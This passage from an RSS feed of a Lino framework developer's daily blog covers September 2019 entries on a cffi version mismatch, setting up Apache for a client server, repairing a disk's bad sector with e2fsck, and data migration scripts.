&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;_cffi_backend.cpython-37m-x86_64-linux-gnu.so&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Why do I have that cffi package installed at all?  What does it do? Which module
requires it?&lt;/p&gt;
&lt;p&gt;What is the difference between &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/lib/python3/dist-packages&lt;/span&gt;&lt;/code&gt; and
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/local/lib/python3/dist-packages&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Ouch, I just read &lt;a class="reference external" href="https://stackoverflow.com/questions/54234344/the-reason-cause-different-location-of-python-packages"&gt;here&lt;/a&gt;
that “(note: do not use sudo pip, which can cause problems).” That’s what I
currently instruct to do in &lt;a class="reference external" href="https://dev.lino-framework.org/dev/install/index.html#getlino-install-contrib" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Install your Lino developer environment&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And also: &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/lib&lt;/span&gt;&lt;/code&gt; is for modules installed by the system with the
package manager (e.g. with &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;python-numpy&lt;/span&gt;&lt;/code&gt;) while
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/local/lib&lt;/span&gt;&lt;/code&gt; is for modules that you installed yourself system-wide
(e.g. with &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;numpy&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After reading &lt;a class="reference external" href="https://stackoverflow.com/questions/43325110/exception-version-mismatchcffi"&gt;this&lt;/a&gt;,
I tried to install &lt;cite&gt;python3-cffi&lt;/cite&gt; as a system package:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt-get install python3-cffi
...
The following NEW packages will be installed:
  python3-cffi python3-ply python3-pycparser
...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And whoops, the problem is gone!  But don’t ask me why…&lt;/p&gt;
&lt;p&gt;TODO: review &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/install.html#getlino-install" title="(in getlino docs)"&gt;&lt;span&gt;Installing getlino&lt;/span&gt;&lt;/a&gt; to not use “sudo pip3”, e.g. by always using
a shared env which contains at least getlino.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="install-eidreader-handler-on-tups"&gt;
&lt;h2&gt;Install eidreader handler on tups&lt;a class="headerlink" href="#install-eidreader-handler-on-tups" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I needed to install a custom url handler for &lt;cite&gt;beid://&lt;/cite&gt; links, so I used the
documentation about &lt;a class="reference external" href="https://eidreader.lino-framework.org/install.html#eidreader-install" title="(in eidreader)"&gt;&lt;span&gt;Installation&lt;/span&gt;&lt;/a&gt; and reviewed it en passant.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="run-the-migration-script"&gt;
&lt;h2&gt;Run the migration script&lt;a class="headerlink" href="#run-the-migration-script" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I ran the migration script prod2preview for weleup because I had an
operationdatabase error because LanguageKnowledge.use_certificate had not yet
been created. Nothing special.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="amici-removes-participants-of-my-meeting"&gt;
&lt;h2&gt;Amici removes participants of my meeting&lt;a class="headerlink" href="#amici-removes-participants-of-my-meeting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3210"&gt;#3210&lt;/a&gt; (Amici removes participants of my meeting).
Continued &lt;a class="reference internal" href="0920.html"&gt;&lt;span class="doc"&gt;Friday, September 20, 2019&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0919.html</guid><pubDate>Thu, 19 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, September 18, 2019</title><link>https://luc.lino-framework.org/blog/2019/0918.html</link><description>&lt;section id="wednesday-september-18-2019"&gt;
&lt;h1&gt;Wednesday, September 18, 2019&lt;a class="headerlink" href="#wednesday-september-18-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="moving-from-doll-to-tups"&gt;
&lt;h2&gt;Moving from doll to tups&lt;a class="headerlink" href="#moving-from-doll-to-tups" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In summary I can say that my yesterday’s adventure seemed threatening in the
beginning, but after all I haven’t lost any data at all, and I am glad to be on
my new laptop now. So actually it was blessing in disguise. TODO: Optimize my
emergency plan.&lt;/p&gt;
&lt;p&gt;I used &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; for setting up my new machine and I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3204"&gt;#3204&lt;/a&gt;
(Optimizations in getlino).&lt;/p&gt;
&lt;p&gt;I had a message &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;favicon&lt;/span&gt; &lt;span class="pre"&gt;file&lt;/span&gt; &lt;span class="pre"&gt;'favicon.ico'&lt;/span&gt; &lt;span class="pre"&gt;does&lt;/span&gt; &lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;exist&lt;/span&gt;&lt;/code&gt; during
&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in book.  I fixed it by removing the following line from
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;#html_favicon = &amp;#39;favicon.ico&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But it’s strange that I am the first one. &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; works on &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="setting-up-new-server-for-weleup"&gt;
&lt;h2&gt;Setting up new server for weleup&lt;a class="headerlink" href="#setting-up-new-server-for-weleup" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Back to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3095"&gt;#3095&lt;/a&gt; (continued after &lt;a class="reference internal" href="0916.html"&gt;&lt;span class="doc"&gt;Monday, September 16, 2019&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Released Welfare 19.9.0 and weleup 19.9.0.&lt;/p&gt;
&lt;p&gt;Manually did lots of little trivial steps:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo a2enmod authnz_ldap
$ sudo a2enmod dav_fs
$ sudo a2enmod dav
$ sudo apt install libapache2-mod-wsgi-py3
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I stopped here:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Wed&lt;/span&gt; &lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;21.750588&lt;/span&gt; &lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;3357&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140319710512896&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Version&lt;/span&gt; &lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cffi&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;package&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="mf"&gt;1.12.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;located&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/cffi/api.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;When&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;the&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;_cffi_backend&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;
&lt;span class="mf"&gt;1.12.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;located&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/lib/python3/dist-packages/_cffi_backend.cpython-37m-x86_64-linux-gnu.so&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;two&lt;/span&gt; &lt;span class="n"&gt;versions&lt;/span&gt; &lt;span class="n"&gt;should&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;installation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="lino-amici"&gt;
&lt;h2&gt;Lino Amici&lt;a class="headerlink" href="#lino-amici" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did some daily work (or should I say manual tests on the field) for
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt; (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1843"&gt;#1843&lt;/a&gt;).  A pull on the production site in order to get
the new calendar view.&lt;/p&gt;
&lt;p&gt;Fixed a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.phones.html#module-lino_xl.lib.phones" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.phones&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which caused &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata&lt;/span&gt;&lt;/code&gt; to
fail when a same partner had multiple contact detail entries marked as primary
(MultipleObjectsReturned). Now it creates a message “Multiple primary items for
&amp;lt;type&amp;gt;”.&lt;/p&gt;
&lt;p&gt;I also moved “odfpy” from lino_xl’s install_requires to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.appypod.Plugin.get_requirements()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="miscellaneous-issues-after-moving-from-doll-to-tups"&gt;
&lt;h2&gt;Miscellaneous issues after moving from doll to tups&lt;a class="headerlink" href="#miscellaneous-issues-after-moving-from-doll-to-tups" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;“Could not lex literal_block as “guess”. Highlighting skipped” in &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
in my blog.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0918.html</guid><pubDate>Wed, 18 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 17, 2019</title><link>https://luc.lino-framework.org/blog/2019/0917.html</link><description>&lt;section id="tuesday-september-17-2019"&gt;
&lt;h1&gt;Tuesday, September 17, 2019&lt;a class="headerlink" href="#tuesday-september-17-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="replace-nginx-by-apache"&gt;
&lt;h2&gt;Replace nginx by apache&lt;a class="headerlink" href="#replace-nginx-by-apache" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started to think that actually we have much less work if I simply continue to
use apache on the weleup server.  Let’s try:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt purge nginx
$ sudo apt install apache2

$ cd /etc/apache2/sites-available/
$ sudo scp -p user@oldsrv:/etc/apache2/sites-available/002-lino prod.conf
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;En passant I renamed site “a” to “weleup1”.&lt;/p&gt;
&lt;p&gt;I also started to think that we shouldn’t use git clones on our production
servers any more.  So I must make a PyPI release of lino-weleup and
lino-welfare.&lt;/p&gt;
&lt;p&gt;But here I got interrupted because my Thunderbird stopped to work.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="bad-sector-on-my-hard-disk"&gt;
&lt;h2&gt;Bad sector on my hard disk&lt;a class="headerlink" href="#bad-sector-on-my-hard-disk" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A mail folder content file (not the index file) was corrupted because of a bad
sector.  Thunderbird froze each time it tried to rebuild the index file.&lt;/p&gt;
&lt;p&gt;Actually each time you try to read the corrupted file, you get
an I/O error (after some timeout).  I was able to open the file using:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;luc@tups:~$ less .thunderbird/luc/Mail/Local\ Folders/Archives.sbd/2019
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;and the first page of the content gets was displayed.  But when I hit Ctrl+PgDn
to go to the end of the file, less reports a “read error”. Thunderbird seems
less prepared to such read errors, it just froze. Closing the window was
possible, but when you try to open it again, it says that Thunderbird is still
“running but does not respond”.&lt;/p&gt;
&lt;p&gt;My last backup of my system was several days old and 100 km away.&lt;/p&gt;
&lt;p&gt;As a funny coincidence my new notebook arrived this morning. A Tuxedo
InfinityBook 14.&lt;/p&gt;
&lt;p&gt;I started copying my data from the old to the new notebook. A terabyte going
through our WLAN.  That takes some time, but the main challenge was to get it
working at all.  I had to run fsck in order to repair the corrupted file.  The
following took about 2 or 3 hours:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;luc@doll:~$ sudo e2fsck -cfpv /dev/sdb1
Dell1TB: Updating bad block inode.
Dell1TB: Duplicate or bad block in use!
Dell1TB: Multiply-claimed block(s) in inode 15335622: 165626319--165626320 165626545--165626546 165626999--165627000 165627225--165627226
Dell1TB: Multiply-claimed block(s) in inode 26084644: 161949204--161949205 161949449--161949450 161949968--161949970 161950213--161950215 161950459--161950460 161950705--161950707 161951196--161951198 161951441--161951443 161951687--161951689 161951933--161951934 161952453--161952454 161952699--161952700 161952944--161952945
Dell1TB: Multiply-claimed block(s) in inode 30150574: 232783726--232783727
Dell1TB: Multiply-claimed block(s) in inode 39191671: 233765678--233765679 233765915--233765916
Dell1TB: (There are 4 inodes containing multiply-claimed blocks.)
Dell1TB: File /luc/.thunderbird/luc/Mail/Local Folders/Archives.sbd/2019 (inode #15335622, mod time Tue Sep 17 08:13:02 2019)
  has 8 multiply-claimed block(s), shared with 1 file(s):
Dell1TB:      &amp;lt;The bad blocks inode&amp;gt; (inode #1, mod time Tue Sep 17 13:39:35 2019)
Dell1TB:
Dell1TB: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
      (i.e., without -a or -p options)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I ran it again without -p and after 2 hours it started to ask me questions now
and then. I answered each of them by hitting ENTER.&lt;/p&gt;
&lt;p&gt;Note that fsck requires the volume to be unmounted. So my whole data was
inaccessible for half a day…&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0917.html</guid><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Monday, September 16, 2019</title><link>https://luc.lino-framework.org/blog/2019/0916.html</link><description>&lt;section id="monday-september-16-2019"&gt;
&lt;h1&gt;Monday, September 16, 2019&lt;a class="headerlink" href="#monday-september-16-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I continued working on the migration script for the new weleup server.
Converted their &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to new syntax using
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_plugin_options&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Strange: they still have 6 data range warnings:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 01.02.09…15.04.18 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.02.09…14.04.18.’] (1 object(s) with primary key 5428)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.IncomeConfirmation [‘Datumsbereich 22.12.16…14.05.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 22.12.16…13.05.19.’] (1 object(s) with primary key 5534)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 15.03.19…15.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.06.15…12.03.19.’] (1 object(s) with primary key 5989)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 19.03.19…19.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.06.15…12.03.19.’] (1 object(s) with primary key 5990)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 18.03.19…18.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 14.03.19…17.03.19.’] (1 object(s) with primary key 5997)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;aids.RefundConfirmation [‘Datumsbereich 18.03.19…18.03.19 au&amp;lt;C3&amp;gt;&amp;lt;9F&amp;gt;erhalb der Laufzeit des Beschlusses 01.06.15…12.03.19.’] (1 object(s) with primary key 6002)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Their &lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.aids.html#lino_welfare.modlib.aids.Plugin.no_date_range_veto_until" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.aids.Plugin.no_date_range_veto_until&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is 5343
and the refused confirmations are higher than this.  So these confirmations have
been created with the current version, which should have refused to save them.
I’d like to interview the users in order to find out how they do this.  I guess
that they changed the Grant’s date range after having issued a confirmation.&lt;/p&gt;
&lt;p&gt;The next problem is now that nobody can sign in via the web interface because
LDAP authentication is not yet configured.  Tomorrow I plan to work on this. I’d
like to push them from the browser-based plain http authentication to Lino’s
session-based authentication because I think that it is better and that they
will like it, but we also know that they are rather reluctant to every change.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/nginxinc/nginx-ldap-auth"&gt;https://github.com/nginxinc/nginx-ldap-auth&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Should I simply move back from nginx to apache for their server, and then copy
the old config files? No need to consult Nicolas.  The disadvantage is that
their server would be non-standard…&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0916.html</guid><pubDate>Mon, 16 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, September 15, 2019</title><link>https://luc.lino-framework.org/blog/2019/0915.html</link><description>&lt;section id="sunday-september-15-2019"&gt;
&lt;h1&gt;Sunday, September 15, 2019&lt;a class="headerlink" href="#sunday-september-15-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="testing-cosi-after-3192"&gt;
&lt;h2&gt;Testing &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; after &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3192"&gt;#3192&lt;/a&gt;&lt;a class="headerlink" href="#testing-cosi-after-3192" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I upgraded our &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; production server and tested &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3192"&gt;#3192&lt;/a&gt;. Found
another problem : reset_totals doesn’t yet work when returnable VAT is used.
Code changes:&lt;/p&gt;
&lt;p&gt;When using &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-returnable-VAT" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;returnable VAT&lt;/span&gt;&lt;/a&gt;, the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;total_vat&lt;/span&gt;&lt;/code&gt; field is now always
empty and the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;total_incl&lt;/span&gt;&lt;/code&gt; field does not include the VAT.  This is valid
per invoice item and per invoice. The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;total_incl&lt;/span&gt;&lt;/code&gt; field is labelled
“Total to pay” also on items.  The amount of retturnable VAT is computed only
when the invoice is registered.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0915.html</guid><pubDate>Sun, 15 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, September 14, 2019</title><link>https://luc.lino-framework.org/blog/2019/0914.html</link><description>&lt;section id="saturday-september-14-2019"&gt;
&lt;h1&gt;Saturday, September 14, 2019&lt;a class="headerlink" href="#saturday-september-14-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="migrating-data-between-two-servers"&gt;
&lt;h2&gt;Migrating data between two servers&lt;a class="headerlink" href="#migrating-data-between-two-servers" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I wrote a &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for them.  Nice: it is very similar to a
standard  &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, but &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;OLD&lt;/span&gt;&lt;/code&gt; is a remote path.&lt;/p&gt;
&lt;p&gt;Some of their media files were not readable for group members:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-------&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="mi"&gt;2851086&lt;/span&gt; &lt;span class="n"&gt;Jun&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="o"&gt;/.../&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;uploads&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="o"&gt;/....&lt;/span&gt;&lt;span class="n"&gt;jpg&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which caused rsync to exit with an error code:&lt;/p&gt;
